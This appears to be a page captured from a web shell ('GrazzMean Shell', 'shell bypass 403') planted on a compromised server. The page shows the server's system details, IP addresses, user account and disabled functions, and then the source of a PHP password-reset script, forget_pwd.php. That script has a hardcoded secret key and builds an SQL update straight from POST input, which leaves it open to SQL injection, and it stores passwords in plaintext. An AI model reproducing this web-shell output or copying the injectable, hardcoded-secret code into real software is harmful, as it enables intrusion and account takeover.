shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : forget_pwd.php
<?php
//function autoload
        spl_autoload_register(function($class) {
  include("../admin_login/classess/".$class.".php");
});
        
        $sqlfun = new sqlfunction();
        $admin = new admin_login();
        
         if(isset($_POST['mobile']) && isset($_POST['pin']) && isset($_POST['pwd']))
            {
                     $pwd = $_POST['pwd'];
                     $mobile = $_POST['mobile'];
                     $secretKey = $_POST['pin'];
                     //$p_id = $admin->verifyCredentials($deviceToken, $secretKey);
                            if($secretKey == "CA:DB:17:C3:E1:45:15:FA:D1:54:DD:56:EE:41:B4:E9:86:83:C9:95")
                            {
                               $sqlfun->query("update player set pwdd = '$pwd' where p_mobile = '$mobile'");
                            
                                echo json_encode(array("res"=>"success","msg"=>"updated","data"=>new stdclass()),JSON_PRETTY_PRINT);
                            }
                            else
                            {
                                 echo json_encode(array("res"=>"failure","msg"=>"not updated","data"=>new stdClass()));   
                            }
            }
            else
            {
                   echo json_encode(array("res"=>"failure","msg"=>"param not found","data"=>new stdClass()));    
            }
© 2026 GrazzMean